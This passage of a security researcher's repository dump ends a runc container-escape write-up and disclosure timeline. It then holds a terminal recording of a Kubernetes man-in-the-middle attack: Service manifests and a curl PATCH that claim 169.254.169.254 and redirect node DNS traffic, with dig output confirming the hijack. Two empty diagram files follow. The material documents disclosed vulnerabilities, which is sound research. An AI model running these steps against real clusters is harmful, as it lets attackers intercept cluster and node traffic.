new mount namespace (and with the right mount propagation set), so the mounts are not visible in the host mount namespace. 295 | I then tried using a golang version for the race binary, 4 containers and 20 volumes, and this was always failing. I then switched to a C version (not sure it makes a difference), 19 containers and 4 mounts and this worked and gave me 6 containers out of 19 with the host mounted. 296 | 297 | Even with newer syscalls like `openat2()` you still need to `mount(/proc/self/fd/X, /proc/self/fd/Y)` to be race free, not sure how useful having a new mount flag to fail when one of the params is a symlink would be, but this is a huge footgun. 298 | 299 | This vulnerability exists because having untrusted/restricted container definitions was not part of the initial threat model of Docker/runc and was added later by K8S. 300 | You can sometimes read that K8S is multi-tenant, but you have to understand it as multiple trusted teams, not as giving API access to strangers. 301 | 302 | On February 24th Google introduced GKE Autopilot, fully managed K8S Clusters with an emphasis on security and theoretically no access to the node, so after testing I also reported to them. 303 | 304 | ## Timeline 305 | 306 | * 2020-11-??: Discover `SecureJoinVFS()` comment 307 | * 2020-12-26: Initial report to security@opencontainers.org (Merry Christmas :) ) 308 | * 2020-12-27: Report acknowledgment 309 | * 2021-03-06: Report to Google for their new GKE Autopilot 310 | * 2021-04-07: Got added to discussions around the fix 311 | * 2021-04-08: Google bounty :) (to be donated to Handicap International) 312 | * 2021-05-19: End of embargo, advisory published on [GitHub](https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r) and on [OSS-Security](https://www.openwall.com/lists/oss-security/2021/05/19/2) 313 | * 2021-05-30: Write-up + POC public 314 | 315 | ## Acknowledgments 316 | 317 | Thanks to Aleksa Sarai (runc maintainer) for his fast responses and all his work, to Noah Meyerhans and Samuel Karp for their help fixing and testing, and to Google for the bounty. 318 | -------------------------------------------------------------------------------- /K8S_MITM_LoadBalancer_ExternalIPs/3-mitm.cast: -------------------------------------------------------------------------------- 1 | {"version": 2, "width": 118, "height": 55, "timestamp": 1578175478, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}} 2 | [0.236179, "o", "$ "] 3 | [1.078568, "o", "# Deploy our mitm backend, here the attacker as full access to kubeproxy-mitm (create Deployment / create & patch Service LoadBalancer)\r\n"] 4 | [1.094264, "o", "$ "] 5 | [13.028463, "o", "kubectl apply -f - <<'EOF'\r\n"] 6 | [13.028703, "o", "> apiVersion: v1\r\n"] 7 | [13.028895, "o", "> kind: Namespace\r\n"] 8 | [13.029007, "o", "> metadata:\r\n> "] 9 | [13.029106, "o", " name: kubeproxy-mitm\r\n"] 10 | [13.029203, "o", "> ---\r\n"] 11 | [13.029287, "o", "> "] 12 | [13.029365, "o", "apiVersion: v1\r\n"] 13 | [13.029438, "o", "> "] 14 | [13.029513, "o", "kind: ConfigMap\r\n> "] 15 | [13.029618, "o", "metadata:\r\n"] 16 | [13.029701, "o", "> "] 17 | [13.029848, "o", " name: echoserver-dns\r\n> "] 18 | [13.029988, "o", " namespace: kubeproxy-mitm\r\n"] 19 | [13.030174, "o", "> data:\r\n> "] 20 | [13.030277, "o", " Corefile: |\r\n> "] 21 | [13.030395, "o", " kubernetes.io:53 {\r\n"] 22 | [13.030477, "o", "> "] 23 | [13.030617, "o", " errors\r\n"] 24 | [13.030707, "o", "> log\r\n"] 25 | [13.030804, "o", "> health\r\n"] 26 | [13.03085, "o", "> "] 27 | [13.031034, "o", " ready\r\n"] 28 | [13.031135, "o", "> whoami\r\n"] 29 | [13.031222, "o", "> }\r\n> "] 30 | [13.031346, "o", "---\r\n> "] 31 | [13.031441, "o", "apiVersion: apps/v1\r\n"] 32 | [13.031472, "o", "> "] 33 | [13.031617, "o", "kind: Deployment\r\n"] 34 | [13.031705, "o", "> metadata:\r\n> "] 35 | [13.031821, "o", " name: echoserver-dns\r\n"] 36 | [13.031915, "o", "> "] 37 | [13.032043, "o", " namespace: kubeproxy-mitm"] 38 | [13.032131, "o", "\r\n> "] 39 | [13.032212, "o", "spec:\r\n"] 40 | [13.03233, "o", "> replicas: 1\r\n> "] 41 | [13.032456, "o", " selector:\r\n> "] 42 | [13.0326, "o", " matchLabels:\r\n> "] 43 | [13.032753, "o", " app: echoserver-dns\r\n> "] 44 | [13.032893, "o", " template:\r\n> "] 45 | [13.033028, "o", " metadata:\r\n> "] 46 | [13.033172, "o", " labels:\r\n> "] 47 | [13.033335, "o", " app: echoserver-dns\r\n"] 48 | [13.033457, "o", "> spec:\r\n> "] 49 | [13.0336, "o", " containers:\r\n> "] 50 | [13.03364, "o", " - args:\r\n"] 51 | [13.033727, "o", "> "] 52 | [13.034006, "o", " - -conf\r\n> - /etc/coredns/Corefile\r\n"] 53 | [13.034067, "o", "> "] 54 | [13.034634, "o", " image: docker.io/coredns/coredns:1.6.0\r\n> livenessProbe:\r\n> "] 55 | [13.034872, "o", " failureThreshold: 10\r\n> "] 56 | [13.035037, "o", " httpGet:\r\n> "] 57 | [13.035132, "o", " path: /health\r\n"] 58 | [13.035227, "o", "> "] 59 | [13.035309, "o", " port: 8080\r\n> "] 60 | [13.035442, "o", " scheme: HTTP\r\n"] 61 | [13.03555, "o", "> "] 62 | [13.03565, "o", " periodSeconds: 10\r\n"] 63 | [13.035767, "o", "> "] 64 | [13.035848, "o", " successThreshold: 1\r\n"] 65 | [13.035931, "o", "> "] 66 | [13.036044, "o", " timeoutSeconds: 5\r\n"] 67 | [13.036127, "o", "> "] 68 | [13.036155, "o", " name: coredns\r\n"] 69 | [13.036255, "o", "> "] 70 | [13.036333, "o", " ports:\r\n"] 71 | [13.036407, "o", "> "] 72 | [13.036484, "o", " - containerPort: 53\r\n"] 73 | [13.036569, "o", "> "] 74 | [13.036634, "o", " name: dns\r\n"] 75 | [13.036704, "o", "> "] 76 | [13.036793, "o", " protocol: UDP\r\n"] 77 | [13.036881, "o", "> "] 78 | [13.036973, "o", " - containerPort: 53\r\n"] 79 | [13.037041, "o", "> "] 80 | [13.037144, "o", " name: dns-tcp\r\n"] 81 | [13.037219, "o", "> "] 82 | [13.037326, "o", " protocol: TCP\r\n"] 83 | [13.037398, "o", "> "] 84 | [13.037577, "o", " readinessProbe:\r\n> "] 85 | [13.037674, "o", " failureThreshold: 10\r\n"] 86 | [13.037787, "o", "> "] 87 | [13.037874, "o", " httpGet:\r\n> "] 88 | [13.037981, "o", " path: /ready\r\n"] 89 | [13.038065, "o", "> "] 90 | [13.038136, "o", " port: 8181\r\n"] 91 | [13.038215, "o", "> "] 92 | [13.03831, "o", " scheme: HTTP\r\n"] 93 | [13.038405, "o", "> "] 94 | [13.038486, "o", " periodSeconds: 10\r\n"] 95 | [13.038528, "o", "> "] 96 | [13.038644, "o", " successThreshold: 1\r\n"] 97 | [13.038725, "o", "> "] 98 | [13.038814, "o", " timeoutSeconds: 5\r\n"] 99 | [13.038848, "o", "> "] 100 | [13.038951, "o", " securityContext:\r\n"] 101 | [13.039028, "o", "> "] 102 | [13.039163, "o", " allowPrivilegeEscalation: false\r\n"] 103 | [13.039234, "o", "> "] 104 | [13.039327, "o", " capabilities:\r\n"] 105 | [13.039403, "o", "> "] 106 | [13.03948, "o", " add:\r\n> "] 107 | [13.039601, "o", " - NET_BIND_SERVICE\r\n"] 108 | [13.039675, "o", "> "] 109 | [13.039746, "o", " drop:\r\n"] 110 | [13.039774, "o", "> "] 111 | [13.039857, "o", " - all\r\n"] 112 | [13.039886, "o", "> "] 113 | [13.040051, "o", " readOnlyRootFilesystem: true\r\n"] 114 | [13.040144, "o", "> "] 115 | [13.040323, "o", " terminationMessagePath: /dev/termination-log\r\n"] 116 | [13.040494, "o", "> "] 117 | [13.040538, "o", " terminationMessagePolicy: File\r\n"] 118 | [13.040781, "o", "> volumeMounts:\r\n> "] 119 | [13.041056, "o", " - mountPath: /etc/coredns\r\n"] 120 | [13.041217, "o", "> "] 121 | [13.041306, "o", " name: config-volume\r\n"] 122 | [13.041331, "o", "> "] 123 | [13.041426, "o", " volumes:\r\n> "] 124 | [13.041509, "o", " - configMap:\r\n"] 125 | [13.041674, "o", "> defaultMode: 420\r\n"] 126 | [13.041767, "o", "> "] 127 | [13.04184, "o", " items:\r\n> "] 128 | [13.041939, "o", " - key: Corefile\r\n"] 129 | [13.042024, "o", "> "] 130 | [13.042125, "o", " path: Corefile\r\n"] 131 | [13.042677, "o", "> name: echoserver-dns\r\n> name: config-volume\r\n> EOF\r\n"] 132 | [13.870375, "o", "namespace/kubeproxy-mitm created\r\n"] 133 | [14.15018, "o", "configmap/echoserver-dns created\r\n"] 134 | [14.453896, "o", "deployment.apps/echoserver-dns created\r\n"] 135 | [14.480508, "o", "$ "] 136 | [19.420376, "o", "# Here the MITM, this will redirect dns traffic normally destined to 169.254.169.254 to our echoserver-dns"] 137 | [20.778292, "o", "\r\n"] 138 | [20.794664, "o", "$ "] 139 | [30.434527, "o", "kubectl apply -f - <<'EOF'\r\n"] 140 | [30.434748, "o", "> apiVersion: v1\r\n"] 141 | [30.434857, "o", "> "] 142 | [30.434967, "o", "kind: Service\r\n> "] 143 | [30.435067, "o", "metadata:\r\n> "] 144 | [30.435145, "o", " name: mitm-external-lb-dns\r\n"] 145 | [30.435186, "o", "> "] 146 | [30.43529, "o", " namespace: kubeproxy-mitm\r\n"] 147 | [30.435416, "o", "> spec:\r\n> ports:"] 148 | [30.435531, "o", "\r\n> "] 149 | [30.43561, "o", " - name: dnsu\r\n"] 150 | [30.435672, "o", "> "] 151 | [30.435695, "o", " port: 53\r\n"] 152 | [30.435787, "o", "> "] 153 | [30.435821, "o", " targetPort: 53\r\n"] 154 | [30.435912, "o", "> "] 155 | [30.435947, "o", " protocol: UDP\r\n"] 156 | [30.435973, "o", "> "] 157 | [30.436116, "o", " selector:\r\n> "] 158 | [30.436207, "o", " app: echoserver-dns\r\n"] 159 | [30.436278, "o", "> "] 160 | [30.436345, "o", " type: LoadBalancer\r\n"] 161 | [30.436407, "o", "> "] 162 | [30.436506, "o", " loadBalancerIP: 169.254.169.254\r\n"] 163 | [30.4366, "o", "> EOF"] 164 | [33.142915, "o", "\r\n"] 165 | [34.270331, "o", "service/mitm-external-lb-dns created\r\n"] 166 | [36.868101, "o", "\r\n"] 167 | [37.979208, "o", "kubectl get -n kubeproxy-mitm service/mitm-external-lb-dns"] 168 | [38.471732, "o", "\r\n"] 169 | [38.850416, "o", "NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE"] 170 | [38.850602, "o", "\r\nmitm-external-lb-dns LoadBalancer 10.23.243.194 53:32449/UDP 5s\r\n"] 171 | [38.870988, "o", "$ "] 172 | [42.679101, "o", "\r\n"] 173 | [42.695613, "o", "$ "] 174 | [46.282473, "o", "# We need to patch the service so it's not pending anymore"] 175 | [46.904476, "o", "\r\n"] 176 | [46.920941, "o", "$ "] 177 | [47.98336, "o", "\r\n"] 178 | [54.310558, "o", "kubectl proxy --port=8080 &\r\n"] 179 | [54.310998, "o", "[1] 286354\r\n"] 180 | [54.328756, "o", "$ sleep 3\r\n"] 181 | [54.392744, "o", "Starting to serve on 127.0.0.1:8080\r\n"] 182 | [57.349243, "o", "$ "] 183 | [57.35188, "o", "curl -k -v -XPATCH -H \"Accept: application/json\" -H \"Content-Type: application/merge-patch+json\" 'http://127.0.0.1:8080/api/v1/namespaces/kubeproxy-mitm/services/mitm-external-lb-dns/status' -d '{\"status\":{\"loadBalancer\":{\"ingress\":[{\"ip\":\"169.254.169.254\"}]}}}'\r\n"] 184 | [57.394894, "o", "* Trying 127.0.0.1:8080...\r\n* TCP_NODELAY set\r\n"] 185 | [57.395685, "o", "* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)\r\n> PATCH /api/v1/namespaces/kubeproxy-mitm/services/mitm-external-lb-dns/status HTTP/1.1\r\r\n> Host: 127.0.0.1:8080\r\r\n> User-Agent: curl/7.66.0\r\r\n> Accept: application/json\r\r\n> Content-Type: application/merge-patch+json\r\r\n> Content-Length: 66\r\r\n> \r\r\n* upload completely sent off: 66 out of 66 bytes\r\n"] 186 | [57.827832, "o", "* Mark bundle as not supporting multiuse\r\n< HTTP/1.1 200 OK\r\r\n< Audit-Id: 58587ef7-9657-40f7-a1b5-fb920fac93a5\r\r\n< "] 187 | [57.828212, "o", "Content-Length: 1408\r\r\n< Content-Type: application/json\r\r\n< Date: Sat, 04 Jan 2020 22:05:36 GMT\r\r\n< \r\r\n{\r\n \"kind\": \"Service\",\r\n \"apiVersion\": \"v1\",\r\n \"metadata\": {\r\n \"name\": \"mitm-external-lb-dns\",\r\n \"namespace\": \"kubeproxy-mitm\",\r\n \"selfLink\": \"/api/v1/namespaces/kubeproxy-mitm/services/mitm-external-lb-dns/status\",\r\n \"uid\": \"1f09d303-1fd7-4a87-bb9f-f71f9ef23c56\",\r\n \"resourceVersion\": \"15862\",\r\n \"creationTimestamp\": \"2020-01-04T22:05:12Z\",\r\n \"annotations\": {\r\n \"kubectl.kubernetes.io/last-applied-configuration\": \"{\\\"apiVersion\\\":\\\"v1\\\",\\\"kind\\\":\\\"Service\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"mitm-external-lb-dns\\\",\\\"namespace\\\":\\\"kubeproxy-mitm\\\"},\\\"spec\\\":{\\\"loadBalancerIP\\\":\\\"169.254.169.254\\\",\\\"ports\\\":[{\\\"name\\\":\\\"dnsu\\\",\\\"port\\\":53,\\\"protocol\\\":\\\"UDP\\\",\\\"targetPort\\\":53}],\\\"selector\\\":{\\\"app\\\":\\\"echoserver-dns\\\"},\\\"type\\\":\\\"LoadBalancer\\\"}}\\n\"\r\n },\r\n \"finalizers\": [\r\n \"service.kubernetes.io/load-balancer-cleanup\"\r\n ]\r\n },\r\n \"spec\": {\r\n \"ports\": [\r\n "] 188 | [57.828295, "o", " {\r\n \"name\": \"dnsu\",\r\n \"protocol\": \"UDP\",\r\n \"port\": 53,\r\n \"targetPort\": 53,\r\n \"nodePort\": 32449\r\n }\r\n ],\r\n \"selector\": {\r\n \"app\": \"echoserver-dns\"\r\n },\r\n \"clusterIP\": \"10.23.243.194\",\r\n \"type\": \"LoadBalancer\",\r\n \"sessionAffinity\": \"None\",\r\n \"loadBalancerIP\": \"169.254.169.254\",\r\n \"externalTrafficPolicy\": \"Cluster\"\r\n },\r\n \"status\": {\r\n \"loadBalancer\": {\r\n \"ingress\": [\r\n {\r\n \"ip\": \"169.254.169.254\"\r\n }\r\n"] 189 | [57.829082, "o", " ]\r\n }\r\n }\r\n* Connection #0 to host 127.0.0.1 left intact\r\n}"] 190 | [57.849238, "o", "$ pkill kubectl\r\n"] 191 | [57.890044, "o", "[1]+ Complété kubectl proxy --port=8080\r\n"] 192 | [57.890304, "o", "$ "] 193 | [61.548329, "o", "\r\n"] 194 | [61.565163, "o", "$ "] 195 | [71.124105, "o", "#"] 196 | [71.469464, "o", " "] 197 | [72.291582, "o", "T"] 198 | [72.499585, "o", "e"] 199 | [72.651718, "o", "s"] 200 | [72.68374, "o", "t"] 201 | [73.169365, "o", " "] 202 | [74.296554, "o", "t"] 203 | [74.366572, "o", "h"] 204 | [75.570616, "o", "a"] 205 | [75.654769, "o", "t"] 206 | [75.716795, "o", " "] 207 | [76.121372, "o", "o"] 208 | [76.151295, "o", "u"] 209 | [76.376996, "o", "r"] 210 | [76.449116, "o", " "] 211 | [76.927934, "o", "M"] 212 | [77.107583, "o", "I"] 213 | [77.391159, "o", "T"] 214 | [77.843618, "o", "M"] 215 | [78.386057, "o", " "] 216 | [78.807673, "o", "w"] 217 | [79.469038, "o", "o"] 218 | [79.469665, "o", "rk"] 219 | [79.543194, "o", "s"] 220 | [81.715659, "o", "\r\n"] 221 | [81.732455, "o", "$ "] 222 | [83.948778, "o", "kubectl exec dig-pod -- dig kubernetes.io\r\n"] 223 | [85.007198, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51797\r\n;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 3\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ADDITIONAL SECTION:\r\nkubernetes.io.\t\t0\tIN\tA\t10.128.0.20\r\n_udp.kubernetes.io.\t0\tIN\tSRV\t0 0 17052 .\r\n\r\n;; Query time: 2 msec\r\n;; SERVER: 10.23.240.10#53(10.23.240.10)\r\n;; WHEN: Sat Jan 04 22:06:03 UTC 2020\r\n;; MSG SIZE rcvd: 108\r\n\r\n"] 224 | [85.044842, "o", "$ "] 225 | [85.044964, "o", "kubectl exec dig-node -- dig kubernetes.io\r\n"] 226 | [86.229565, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6856\r\n;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 3\r\n;; WARNING: recursion requested but not available\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ADDITIONAL SECTION:\r\nkubernetes.io.\t\t0\tIN\tA\t10.20.0.1\r\n_udp.kubernetes.io.\t0\tIN\tSRV\t0 0 44475 .\r\n\r\n;; Query time: 0 msec\r\n;; SERVER: 169.254.169.254#53(169.254.169.254)\r\n;; WHEN: Sat Jan 04 22:06:04 UTC 2020\r\n;; MSG SIZE rcvd: 108\r\n\r\n"] 227 | [86.250225, "o", "$ "] 228 | [86.250742, "o", "kubectl exec dig-pod -- dig kubernetes.io @169.254.169.254\r\n"] 229 | [87.18429, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io @169.254.169.254\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35154\r\n;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 3\r\n;; WARNING: recursion requested but not available\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ADDITIONAL SECTION:\r\nkubernetes.io.\t\t0\tIN\tA\t10.20.0.1\r\n_udp.kubernetes.io.\t0\tIN\tSRV\t0 0 34474 .\r\n\r\n;; Query time: 0 msec\r\n;; SERVER: 169.254.169.254#53(169.254.169.254)\r\n;; WHEN: Sat Jan 04 22:06:05 UTC 2020\r\n;; MSG SIZE rcvd: 108\r\n\r\n"] 230 | [87.274422, "o", "$ "] 231 | [87.274896, "o", "kubectl exec dig-node -- dig kubernetes.io @169.254.169.254\r\n"] 232 | [88.196632, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io @169.254.169.254\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6388\r\n;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 3\r\n;; WARNING: recursion requested but not available\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ADDITIONAL SECTION:\r\nkubernetes.io.\t\t0\tIN\tA\t10.20.0.1\r\n_udp.kubernetes.io.\t0\tIN\tSRV\t0 0 59355 .\r\n\r\n;; Query time: 0 msec\r\n;; SERVER: 169.254.169.254#53(169.254.169.254)\r\n;; WHEN: Sat Jan 04 22:06:06 UTC 2020\r\n;; MSG SIZE rcvd: 108\r\n\r\n"] 233 | [88.270554, "o", "$ "] 234 | [98.28871, "o", "\r\n"] 235 | [98.305735, "o", "$ "] 236 | [102.099025, "o", "kubectl get all -n kubeproxy-mitm\r\n"] 237 | [104.75653, "o", "NAME READY STATUS RESTARTS "] 238 | [104.756717, "o", "AGE\r\npod/echoserver-dns-54f86fd45c-dprlf 1/1 Running 0 17m\r\n"] 239 | [104.757433, "o", "\r\nNAME "] 240 | [104.757679, "o", "TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE\r\nservice/mitm-external-lb-dns LoadBalancer 10.23.243.194 169.254.169.254 53:32449/UDP 17m\r\n"] 241 | [104.758487, "o", "\r\nNAME "] 242 | [104.75873, "o", " READY UP-TO-DATE AVAILABLE AGE\r\ndeployment.apps/echoserver-dns 1/1 1 "] 243 | [104.759267, "o", " 1 17m\r\n\r\nNAME DESIRED"] 244 | [104.760115, "o", " CURRENT READY AGE\r\nreplicaset.apps/echoserver-dns-54f86fd45c 1 1 1 17m\r\n"] 245 | [104.79073, "o", "$ "] 246 | [106.077194, "o", "\r\n"] 247 | [106.095055, "o", "$ "] 248 | [112.891236, "o", "kubectl logs -n kubeproxy-mitm pod/echoserver-dns-54f86fd45c-dprlf"] 249 | [113.309598, "o", "\r\n"] 250 | [114.103153, "o", "kubernetes.io.:53\r\n2020-01-04T22:04:55.012Z [INFO] CoreDNS-1.6.0\r\n2020-01-04T22:04:55.013Z [INFO] linux/amd64, go1.12.7, 0a218d3\r\nCoreDNS-1.6.0\r\nlinux/amd64, go1.12.7, 0a218d3\r\n2020-01-04T22:06:03.633Z [INFO] 10.128.0.20:17052 - 39133 \"A IN kubernetes.io. udp 42 false 4096\" NOERROR qr,aa,rd 97 0.000170051s\r\n2020-01-04T22:06:04.796Z [INFO] 10.20.0.1:44475 - 6856 \"A IN kubernetes.io. udp 42 false 4096\" NOERROR qr,aa,rd 97 0.00016372s\r\n2020-01-04T22:06:05.827Z [INFO] 10.20.0.1:34474 - 35154 \"A IN kubernetes.io. udp 42 false 4096\" NOERROR qr,aa,rd 97 0.000191131s\r\n2020-01-04T22:06:05.830Z [INFO] 10.20.0.1:34474 - 35154 \"A IN kubernetes.io. udp 42 false 4096\" NOERROR qr,aa,rd 97 0.003379284s\r\n2020-01-04T22:06:06.837Z [INFO] 10.20.0.1:59355 - 6388 \"A IN kubernetes.io. udp 42 false 4096\" NOERROR qr,aa,rd 97 0.000114766s\r\n"] 251 | [114.124221, "o", "$ "] 252 | [131.778064, "o", "\r\n"] 253 | [131.794553, "o", "$ "] 254 | [133.333789, "o", "exit\r\n"] 255 | -------------------------------------------------------------------------------- /VLAN0_LLC_SNAP/Ethernet-8023-80211.drawio: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /VLAN0_LLC_SNAP/Ethernet-frame-formats.drawio: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | --------------------------------------------------------------------------------